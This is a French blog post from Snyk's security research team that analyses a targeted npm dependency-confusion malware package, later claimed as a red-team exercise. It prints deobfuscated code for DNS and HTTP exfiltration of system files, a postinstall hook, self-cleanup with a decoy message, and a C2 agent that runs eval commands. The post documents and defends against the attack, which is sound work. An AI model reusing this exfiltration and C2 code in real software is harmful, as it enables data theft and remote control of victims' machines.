Skip to main content

Une attaque ciblée par confusion de dépendances npm prise en flagrant délit

Écrit par
Headshot of Snyk Security Research Team

Snyk Security Research Team

feature npm malware gxm

30 avril 2022

0 minutes de lecture

Chronologie des événements

  • 10 mai 2022 : CodeWhite, une entreprise spécialisée dans la sécurité Red Team, nous a contactés sur Twitter et a revendiqué la création des packages malveillants, expliquant qu’ils faisaient partie d’une simulation d’attaque pour ses clients. Chapeau pour cette attaque élaborée !

  • 4 mai 2022 : DigitalOcean nous a indiqué que l’adresse IP du serveur C2 appartenait à une entreprise spécialisée dans la sécurité et qu’elle allait vérifier la situation et nous tenir au courant.

  • 1er mai 2022 : npm a supprimé les packages malveillants de son registre.

L’histoire d’un malware sur npm

Ces dernières années, nous avons constaté une augmentation constante du nombre de packages malveillants apparaissant dans différents écosystèmes. De manière générale, la grande majorité de ces packages sont inoffensifs : ils collectent des informations, mais ne nuisent pas à la machine infectée. Il nous arrive toutefois de découvrir un package véritablement malveillant, doté d’un objectif, de moyens et prêt pour la production. Voici l’histoire de l’un d’eux.

Découvrir un véritable malware dans npm

Dans le cadre des travaux de l’équipe de recherche en sécurité de Snyk, axés sur la détection proactive des packages malveillants, notre principal objectif est d’analyser les registres des écosystèmes et de signaler les packages malveillants dès que possible après leur publication. Pour cela, nous avons mis au point un système robuste doté de différents mécanismes de détection.

Peu après avoir mis en place notre dispositif de détection des packages malveillants, de nombreuses bibliothèques nous ont été signalées. Cependant, en examinant les résultats, nous avons constaté que beaucoup de signalements concernaient des packages « légèrement malveillants ».

Par « légèrement malveillant », nous entendons un package qui fait l’une des choses suivantes :

  • Exfiltrer des informations sur la machine au moyen de requêtes DNS (sans autre action)

  • Héberger des mineurs de cryptomonnaies (ce qui est mauvais, mais pas vraiment intéressant du point de vue de la malveillance)

  • Être un package « légèrement malveillant » créé par un autre chercheur, principalement à des fins de test

  • Présenter d’autres variantes des éléments de cette liste

Nous avons fini par dénicher un package très intéressant — gxm-reference-web-auth-server — que nous avons marqué comme malveillant. Nous y avons jeté un rapide coup d’œil et avons senti que quelque chose clochait. Nous avons donc lancé une machine virtuelle et examiné l’archive tarball.

Comme le signalement concernait un package npm, nous avons commencé par examiner le fichier `package.json`. Sans surprise, il contenait un script post-install qui exécutait un fichier JavaScript du package. Si vous ne connaissez pas les scripts post-install, ils servent très couramment à exécuter des scripts une fois l’installation des dépendances concernées terminée par npm. C’est aussi un moyen facile pour les acteurs malveillants d’exécuter des scripts sur les machines de leurs victimes.

En examinant le fichier exécuté, nous l’avons trouvé obfusqué. L’obfuscation est une manière apparemment sophistiquée de « cacher » le code, mais en réalité, il est généralement assez facile de revenir au code d’origine (du moins en JavaScript).

Le fichier suivant du package a immédiatement attiré notre attention : un fichier chiffré. Nos sens d’araignée se sont mis à frémir : il était temps de creuser.

Rétro-ingénierie d’un malware, partie 1 : le wrapper

Comme indiqué, le package contenait deux fichiers supplémentaires : l’un obfusqué, l’autre chiffré.

root@3b869b434e7d:/tmp# tar -tvf ./gxm-reference-web-auth-server-1.33.8.tgz
-rw-r--r-- 0/0           19023 1985-10-26 08:15 package/confsettingsaaa.js
-rw-r--r-- 0/0           97136 1985-10-26 08:15 package/obfusc.enc.js
-rw-r--r-- 0/0             393 1985-10-26 08:15 package/package.json

# unpacked the tar and:
root@3b869b434e7d:/tmp/package# file ./*
./confsettingsaaa.js: ASCII text, with very long lines
./obfusc.enc.js:      data
./package.json:       JSON data

Le fichier package.json contenait également un script post-install :

{
  "name": "gxm-reference-web-auth-server",
  "version": "1.33.8",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "node confsettingsaaa.js",
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "dependencies": {
    "axios": "0.26.0",
    "targz": "1.0.1",
    "ldtzstxwzpntxqn": "^4.0.0",
    "lznfjbhurpjsqmr": "^0.5.57",
    "semver": "7.3.5"
  },
  "author": "",
  "license": "ISC"
}

Nous nous sommes d’abord intéressés au script exécuté, mais nous avons aussi remarqué deux dépendances au nom incompréhensible, ldtzstxwzpntxqn et lznfjbhurpjsqmr. Nous les examinerons un peu plus loin dans cet article.

En examinant le fichier confsettingsaaa.js, nous avons vu ceci :

root@3b869b434e7d:/tmp/package# cat confsettingsaaa.js
const a0_0x489fde=a0_0x5400;(function(_0x552d48,_0x2cc03c){const _0x462334=a0_0x5400,_0x2fedb3=_0x552d48();while(!![]){try{const _0x5c5667=-parseInt(_0x462334(0x167))/0x1*(-parseInt(_0x462334(0x10b))/0x2)+-parseInt(_0x462334(0x116))....... # trimmed

Pour comprendre ce fichier, nous avons utilisé un outil de désobfuscation afin de le rendre lisible. En parcourant le code, nous avons constaté que le fichier (que nous appellerons plus loin P1, puisqu’il s’agit de la première partie du malware) exfiltrait des informations sur le système d’exploitation et le package au moyen de requêtes vers de faux sous-domaines de pkgio[.]com :

telemetry = '.pkgio.com'
dns.lookup(
  replace_special_chars(os.userInfo().username) +
  '.' +
  replace_special_chars(os.hostname()) +
  '.h' +
  telemetry,
  (err, ip_addr, ip_ver) => {
      err && console.log(err.message)
  }
)
var localpack = fs.readFileSync(
  path.join(process.cwd(), 'package.json'),
  'utf8'
)
nameresolved = JSON.parse(localpack).name
dns.lookup(
  replace_special_chars(nameresolved) + '.n' + telemetry,
  (err, ip_addr, ip_ver) => {
      err && console.log(err.message)
  }
)
process.env.NO_PROXY &&
dns.lookup(
  replace_special_chars(process.env.NO_PROXY) + '.p' + telemetry,
  (err, ip_addr, ip_ver) => {
      err && console.log(err.message)
  }
)

Ce code se limite à l’exfiltration. On pourrait penser qu’il ne fait aucun mal, mais ces exfiltrations sont en réalité précieuses pour la reconnaissance de l’attaquant : elles lui permettent d’identifier la cible et sa configuration. Si les acteurs malveillants abusent des requêtes DNS, c’est parce que ce type de requêtes est généralement autorisé par les pare-feu et les filtres réseau. Ils peuvent ainsi envoyer des requêtes à leurs propres serveurs DNS et en consigner les demandes.

La suite du fichier s’est révélée encore plus intéressante. D’abord, tous les blocs try/catch appelaient une fonction `fail` lorsqu’ils interceptaient une exception. Ensuite, nous avons vu que le script utilisait l’une de ses dépendances : lznfjbhurpjsqmr.

Avant d’expliquer le rôle des deux dépendances, examinons d’abord la fonction (ou le mécanisme) fail. Lorsqu’elle est appelée, cette fonction effectue principalement deux opérations. D’abord, elle efface ses traces : la fonction « fail » supprime tous les fichiers associés au package et nettoie le système.

function fail() {
  try {
      fs.unlink(path.join(process.cwd(), 'package.json'), (cb) => {
      })
      fs.unlink(path.join(process.cwd(), 'confsettingsaaa.js'), (cb) => {
      })
      fs.existsSync('mac.enc.js') &&
      fs.unlink('mac.enc.js', (cb) => {
          if (cb) {
          }
      })
      fs.existsSync('mac.dec.js') &&
      fs.unlink('mac.dec.js', (cb) => {
      // ...more like this

Ce mécanisme est astucieux pour un malware, mais l’étape suivante était inquiétante.

Après le nettoyage, la fonction crée des fichiers leurres package.json et index.js, puis affiche le message suivant dans la console : « Please refer to the private registry instead of the public repo; Security Team »

fs.writeFileSync(
  'package.json',
  '{\n    "name": "' +
  mypackage + // mypackage = 'gxm-reference-web-auth-server'
  '",\n    "version": "' +
  triggerversion + // the current package version
  '",\n    "description": "",\n    "main": "index.js",\n    "scripts": {\n      "test": "echo \'Error: no test specified\' && exit 1"\n    },\n    "keywords": [],\n    "author": "",\n    "license": "ISC"\n  }\n  '
)
fs.writeFileSync(
  'index.js',
  "console.log('Please refer to the private registry instead of the public repo; Security Team');\nprocess.exit(-1);\n  "
)
console.log(
  'Please refer to the private registry instead of the public repo; Security Team'
)
process.exit(-1)

Après avoir lu ce message, plusieurs questions nous sont venues à l’esprit : pourquoi le package malveillant ne se supprime-t-il pas complètement ? Pourquoi se fait-il passer pour un espace réservé légitime créé par une équipe de sécurité ? Quelle organisation ce package vise-t-il ?

Nous avons pu répondre à la plupart de ces questions. Malgré tous nos efforts pour identifier la cible et l’alerter, nous ne savons toujours pas, à ce jour, quelle organisation est visée. Gardons ces questions à l’esprit et poursuivons.

Les dépendances : ldtzstxwzpntxqn et lznfjbhurpjsqmr

Comme indiqué plus haut, le package installe deux dépendances : ldtzstxwzpntxqn et lznfjbhurpjsqmr. En consultant leurs pages npm, nous avons constaté que les deux avaient été publiées par le même mainteneur. Voici à quoi ressemblait sa page :

Page npm affichant le compte boschnodemodules et trois packages, dont gxm-reference-web-auth-server

C’était intéressant à constater et cela confirmait certains de nos soupçons concernant ces packages. Les dépendances elles-mêmes n’étaient toutefois que de simples copies de packages légitimes :

Nom du package

Package d’origine

Utilité

ldtzstxwzpntxqn

npmi

Package qui fournit une API simplifiée pour npm install (installe des éléments par programmation).

lznfjbhurpjsqmr

global-npm

Permet d’utiliser npm global comme module Node local.

Comme nous l’avons confirmé plus tard en auditant le reste du code, ces packages étaient effectivement utilisés conformément à la fonction prévue des packages d’origine. Pourquoi l’acteur s’est-il donné la peine de créer ces packages plutôt que d’utiliser les originaux ? Nous ne le savons pas et ne le saurons probablement jamais.

Filtrage des victimes, registres privés et transition vers P2

Quelques remarques rapides…

  1. Dans la section suivante, lorsque nous écrivons « le code s’interrompt », cela signifie que la fonction fail décrite plus haut a été appelée pour effectuer le nettoyage.

  2. Comme nous ne savons pas quelle organisation est visée, nous l’appellerons ORG.

L’étape suivante de P1 consiste à récupérer la configuration d’autorisation des registres privés dans le fichier .npmrc (c’est là qu’intervient lznfjbhurpjsqmr). Si le code ne trouve ni ce fichier ni une telle configuration (il effectue une recherche sur toute la machine), il s’interrompt.

S’il trouve ces informations d’autorisation, il tente de télécharger dans le registre privé indiqué dans le fichier de configuration le package portant le même nom, en essayant plusieurs variantes, par exemple :

@ORG/gxm-reference-web-auth-server, ORG/gxm-reference-web-auth-server and gxm-reference-web-auth-server

Si le package est introuvable dans le registre privé ou si le téléchargement échoue, le code s’interrompt. S’il parvient à télécharger l’archive tarball depuis le registre privé, il effectue les opérations suivantes :

1. Installer le module avec npm install dans un sous-répertoire appelé .documentation (l’installation se fait à l’aide de la dépendance ldtzstxwzpntxqn), faute de quoi le code s’interrompt.

2. Remplacer le contenu actuel du package par celui du package nouvellement installé, ou abandonner.

3. Exfiltrer le contenu de deux fichiers liés au réseau ainsi que le nouveau fichier package.json via une requête POST :

topostfiles = ['package.json', '/etc/hosts', '/etc/resolv.conf']
for (var entry of topostfiles) {
  if (fs.existsSync(entry)) {
      contents = fs.readFileSync(entry, {encoding: 'base64'})
      try {
          axios({
              method: 'post',
              url: 'https://www' + telemetry + '/' + entry,
              data: {data: contents},
              httpsAgent: agent,
              maxBodyLength: Infinity,
              maxContentLength: Infinity,// …

4. Déchiffrer le fichier chiffré et l’exécuter dans un nouveau processus détaché (l’algorithme de chiffrement, la clé et le vecteur d’initialisation IV étaient codés en dur. Nous reviendrons sur ce fichier dans la section suivante) :

try {
  const child_proc = spawn('node', ['obfusc.dec.js'], {
      cwd: process.cwd(),
      detached: true,
      stdio: 'ignore',
      windowsHide: true,
  })
  child_proc.on('error', (err) => {
  })
  child_proc.unref()
// ...

5. Nettoyer tous les fichiers concernés (cette étape supprime uniquement les fichiers chiffrés et le code de P1).

6. Terminer.

Maintenant que nous avons détaillé ces étapes, nous pouvons constater que si une personne ne possède pas le package gxm-reference-web-auth-server dans son registre privé, ou si celui-ci est inaccessible, le malware passe simplement à la suite.

Cela signifie que :

  1. Le package vise une organisation précise.

  2. L’acteur à l’origine de ces packages connaît l’existence de ce package dans le registre privé de l’organisation.

Nous avons ainsi décrit toutes les étapes de P1. Le « wrapper du malware » va maintenant s’arrêter.

Rétro-ingénierie d’un malware, partie 2 : l’agent

Comme le wrapper contenait les informations codées en dur nécessaires au déchiffrement du fichier (une erreur de l’adversaire, selon nous), nous avons pu le déchiffrer également. Nous l’avons donc fait.

Tout comme le wrapper, ce fichier était obfusqué et se présentait sous la forme d’une seule ligne incompréhensible. Cette fois, cependant, l’outil de désobfuscation a eu plus de mal et a laissé le code truffé d’énigmes :

(() => {

  // IMO webpack stuff?
  function _0xa77521(_0x323c64) {
      var _0x573f49 = _0x44b56a[_0x323c64]
      if (void 0 !== _0x573f49) {
          return _0x573f49.exports
      }
      var _0x3a5d0d = (_0x44b56a[_0x323c64] = {exports: {}})
      return (
          _0x1cc104[_0x323c64](_0x3a5d0d, _0x3a5d0d.exports, _0xa77521),
              _0x3a5d0d.exports
      )
  };
// ...

Nous avons essayé plusieurs autres outils de désobfuscation, mais aucun n’a donné de meilleur résultat. Nous avons conservé le résultat initial et commencé à désobfusquer le code manuellement. Après quelques efforts, nous avons réussi à le rendre lisible. Il était temps d’examiner le fonctionnement de l’agent.

Enregistrement de l’agent

La première instruction donnée à l’agent est de s’enregistrer auprès du serveur de commande et de contrôle (appelé CNC ou C2). L’agent reçoit ainsi trois chaînes de caractères essentielles aux communications ultérieures : une clé et un vecteur d’initialisation IV pour chiffrer les charges utiles, ainsi qu’un UUID.

async function init_agent() {
  try {
      axios({
          method: 'POST',
          url: c2_server + '/register',
          data: {engine: 'nodejs'},
          headers: {'User-Agent': useragent},
          httpsAgent: httpsAgent,
      }).then(function (response) {
              key = response.data.key,
              iv = response.data.iv,
              uuid = response.data.uuid,
// ...

Une fois cette requête terminée, toutes les communications ultérieures entre le serveur C2 et l’agent sont chiffrées et déchiffrées à l’aide de cette clé et de cet IV (l’algorithme était codé en dur). Juste après cette requête, l’agent envoie au serveur une requête POST contenant des informations sur son environnement :

// ​​...
key = response.data.key,
  iv = response.data.iv,
  uuid = response.data.uuid,
  os_platform = os.platform(),
  os_arch = process.arch,
  env = JSON.stringify(process.env),
  node_version = process.version,
  os_username = os.userInfo().username,
  hostname = os.hostname
datajson = {
  platform: os_platform,
  architecture: os_arch,
  version: node_version,
  user: os_username,
  hostname: hostname,
  environment: env,
  engine: 'nodejs',
}
datastring = JSON.stringify(datajson)
encryptdata = encrypt(key, iv, datastring)
axios({
  method: 'post',
  url: c2_server + '/updateinfosnodejs',
  data: {
      identity: uuid,
      data: encryptdata,
  },
  headers: {'User-Agent': useragent},
  httpsAgent: httpsAgent,
// ...

Une fois cette requête envoyée, l’agent passe à l’étape suivante.

La boucle d’exécution

La boucle d’exécution de l’agent est assez simple. Elle contient quelques instructions if/else qui correspondent à différentes commandes et s’exécute en fonction des indications du serveur C2. Par exemple, l’agent peut s’autosupprimer s’il reçoit une commande delete, ou évaluer un extrait de code envoyé par le serveur C2 :

// ...
try {
  if (
      ((response = ''), await sleep(agent_sleep), "delete" == command_type)
  ) {
      return false  // agent lives as a process, so a “return” equals termination
  }
  if ('exec' == command_type || "eval" == command_type) {
      try {
          response = eval(payload)
      } catch (error) {
          response = error.message
      }
  } else { // data and file exfiltration
      if ('upload' == command_type) {
// ...

Au total, l’agent réagit aux commandes suivantes :

["download", "upload", "exec", "eval", "delete", "register"] 

Comme le montre cette liste, les commandes exec et eval peuvent exécuter un shell inversé qui donne à l’attaquant le contrôle total de la machine infectée. Notez également que l’option register, lorsqu’elle est appelée à nouveau, permet à l’agent et au serveur C2 de renouveler leurs informations de chiffrement et d’en générer de nouvelles, s’ils souhaitent les modifier.

Cette fonctionnalité peut sembler originale ou sophistiquée, mais dans le monde des agents C2, elle est standard pour un agent que l’on installe sur la machine d’une victime. Quoi qu’il en soit, nous n’avons pas pu établir de lien entre le code source de l’agent et des frameworks C2 connus.

Conclusion sur le malware

Maintenant que nous avons une compréhension complète du malware, voici nos conclusions :

  1. Le malware vise une seule entreprise, dont l’identité reste inconnue. Toutefois, d’après les éléments obtenus lors de la rétro-ingénierie, cette entreprise devrait avoir le package « gxm-reference-web-auth-server » dans son registre privé.

  2. Puisque le package se recherche lui-même dans le registre privé de la victime, nous pouvons également qualifier cette attaque de confusion de dépendances, un type d’attaque de la chaîne d’approvisionnement.

  3. L’attaquant, ou les attaquants, avait probablement connaissance de l’existence d’un tel package dans le registre privé de l’entreprise.

À ce stade, même si nous comprenions clairement le fonctionnement du package, nous avons décidé de vérifier si le serveur C2 répondait et s’il s’agissait d’une campagne encore active. Il était temps de nous faire passer pour quelqu’un d’autre.

Jouer à « Among Us » avec un adversaire

L’idée de notre expérience suivante était simple. Nous voulions savoir si quelqu’un se trouvait à l’autre bout de la ligne et, le cas échéant, s’il était actif. Pour cela, nous devions procéder comme suit :

  1. Utiliser l’agent sans le wrapper (P1 filtrerait notre client en l’absence d’identifiants dans .npmrc, etc.)

  2. Intercepter et consigner tout le trafic HTTP/S (nous voulions voir ce que le serveur C2 envoie et reçoit)

  3. Nous transmettre les données consignées de manière unidirectionnelle, irréversible et intraçable (c’est important, car l’attaquant peut lui aussi accéder à la machine !)

Mais avant de nous lancer, nous voulions recueillir quelques informations sur le serveur lui-même.

Y a-t-il quelqu’un ?

Nous avons recueilli des informations sur le serveur à l’aide de requêtes WHOIS et d’analyses Nmap classiques. Les résultats WHOIS indiquaient que le serveur était hébergé chez DigitalOcean (à qui nous avons signalé l’adresse IP du serveur), et les analyses Nmap ont révélé ce qui suit :

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
2000/tcp open  tcpwrapped
3306/tcp open  mysql      MySQL 5.5.5-10.1.35-MariaDB-1
5060/tcp open  tcpwrapped
8080/tcp open  http       Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
8443/tcp open  ssl/http   Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Le serveur n’est pas vraiment sécurisé et il est actif et à l’écoute.

L’imposteur

Pour revenir à notre plan, nous devions préparer les éléments suivants :

  1. Code de l’agent : Nous l’avons récupéré lors de la phase de déchiffrement et pouvons l’exécuter séparément du wrapper (P1).

  2. Intercepteurs : Ils devaient être implémentés dans l’environnement NodeJS, puisque l’agent utilisait lui-même les modules HTTP/S de NodeJS.

  3. Pipeline de journalisation : Nous avons choisi €‹ €‹Pipedream, qui permet de gérer les requêtes HTTP/S avec une grande précision et propose déjà plusieurs intégrations prêtes à l’emploi (stockage de valeurs, intégration Slack, et bien plus).

Pour l’interception, nous avons utilisé la bibliothèque @gr2m/http-recorder, qui faisait exactement ce que nous recherchions : capturer et manipuler intégralement les requêtes HTTP/S.

En combinant les étapes 1 et 2, nous avons obtenu l’extrait suivant :

httpRecorder.start();
httpRecorder.addListener(
  'record',
  ({request, response, requestBody, responseBody}) => {

      if (request.host === hostname) { // we emit http requests as well, but don't want to loop infinitely
          return;
      }

      const buffer = [];

      const {method, protocol, host, path} = request;
      const reqHeaders = request.getHeaders();

      buffer.push({
          type: 'request',
          method,
          protocol,
          host,
          path,
          headers: reqHeaders,
          body: Buffer.concat(requestBody).toString()
      })
      const {statusCode, statusMessage, headers: responseHeaders} = response;
      buffer.push({
          type: 'response',
          statusCode,
          statusMessage,
          headers: responseHeaders,
          body: Buffer.concat(responseBody).toString()
      })

      send(Buffer.from(JSON.stringify(buffer)).toString('base64'))
  }
);
console.log('[+] Invoking malware...');
require('./mal') // here we invoke the agent itselfconsole.log('[+] Malware running! ☠');

Il ne restait plus qu’à nous envoyer les données. Avec Pipedream, nous avons configuré la fonction send pour transmettre la charge utile à notre point de terminaison afin que nous puissions la traiter.

Pour le traitement, nous avons stocké le vecteur d’initialisation (IV) et la clé afin de pouvoir déchiffrer les messages. Nous avons également configuré le pipeline Pipedream pour l’intégrer à un espace de travail Slack anonyme et y consigner les messages. Ainsi, chaque fois que l’agent et le serveur C2 échangeaient des messages, nous recevions une notification Slack contenant toutes les informations déchiffrées et lisibles. Voici une illustration de la configuration de notre machine infectée :

Schéma montrant une machine infectée interceptant le trafic HTTP/S entre un serveur C2 et un serveur anonyme qui relaie des messages vers un espace Slack privé.

Voici un exemple du résultat dans Slack :

Capture d’écran d’une sortie de terminal affichant une longue charge utile de commande JSON échappée contenant du texte encodé.

Et voilà, notre pseudo-pot de miel était prêt.

Allô, c’est moi

Peu après que notre faux agent a été activé et a commencé à communiquer avec le serveur C2, les commandes ont commencé à arriver. La première était un ls, suivi d’une tentative de l’auteur de la menace d’exécuter cat sur tous les fichiers visibles et de parcourir le système. Voici un exemple de commande reçue (après décodage du base64) :

Écran de code sombre montrant une fonction JavaScript qui exécute des commandes shell avec child_process spawnSync.

À ce stade, nous avons décidé d’interrompre notre expérience, car nous avions atteint notre objectif : déterminer si quelqu’un se trouvait à l’autre bout de la ligne.

Cela laisse penser qu’une campagne est en cours contre les propriétaires du dépôt privé d’origine « gxm-reference-web-auth-server ».

Mais ce n’est pas tout

Juste avant de conclure notre expérience, nous avons remarqué un élément intéressant. Outre l’adresse C2, quelques autres valeurs étaient codées en dur. L’une d’elles était la valeur de la propriété « engine » dans l’appel initial /register :

async function init_agent() {
  try {
      axios({
          method: 'POST',
          url: c2_server + '/register',
          data: {engine: 'nodejs'}, // ← but why?
          headers: {'User-Agent': useragent},
          httpsAgent: httpsAgent,
      }).then( // … )

Comme nous ne cherchions plus à passer inaperçus, nous avons décidé de faire varier cette valeur pour voir s’il existait d’autres types de cibles. Après quelque temps, nous avons découvert d’autres types de moteurs :

root@3b869b434e7d:/tmp/package# ./opts.sh
[!] response for engine = nodejs
{"iv":"jFhDrjFWaCGFjZJE","key":"FsEAsoiDWzYJwrNIgYoonpTRmQhzJvcl","uuid":"a8381854-2986-4754-8cbe-dbf5c0bcb8dd"}

[!] response for engine = go
{"iv":"dqgIwAQoYKPsziVz","key":"VucfFKCVOFpdkgobVpDjbNXojwPmvbNm","uuid":"5280d805-08cf-4b9e-9bd5-fbe85f5d5014"}

[!] response for engine = browser
{"uuid":"f820fc90-9618-4d90-9991-9d70cdc1d4f8"}

Cela indique qu’il existe au moins un agent de navigateur et un agent Golang, et il est tout à fait possible qu’il y en ait d’autres.

Divulgation et prochaines étapes

Bien que nous connaissions le fonctionnement interne de ce malware, nous ne pouvons pas déterminer quelle organisation ou entreprise est ciblée. Nous souhaitons donc profiter de cette plateforme (ainsi que de Twitter, etc.) pour demander à la communauté de signaler ce package et de prévenir les autres. N’hésitez pas à nous contacter (ou à nous envoyer un message privé à @snyksec) si vous avez des questions ou des préoccupations à ce sujet.

Nous avons également contacté DigitalOcean pour leur demander de retirer le serveur C2 de leur service, ainsi que npm pour les informer de l’existence des packages malveillants et leur demander de les supprimer.

Voilà qui conclut notre enquête. Les attaques étant complexes et sophistiquées, nous tenons à souligner que le vecteur d’infiltration initial est une simple confusion de dépendances de packages, facile à atténuer. Pour découvrir le déroulement complet de cette attaque, consultez l’image ci-dessous. Prenez soin de vous et restez en sécurité !

Organigramme illustrant le comportement d’un wrapper npm malveillant et les commandes de l’agent C2, notamment l’exfiltration de données, les opérations sur les fichiers et les communications de rappel.

Sécurisez vos dépendances open source

Les outils Snyk, conçus pour les développeurs, génèrent en un clic des pull requests correctives pour vos dépendances open source vulnérables et leurs dépendances transitives.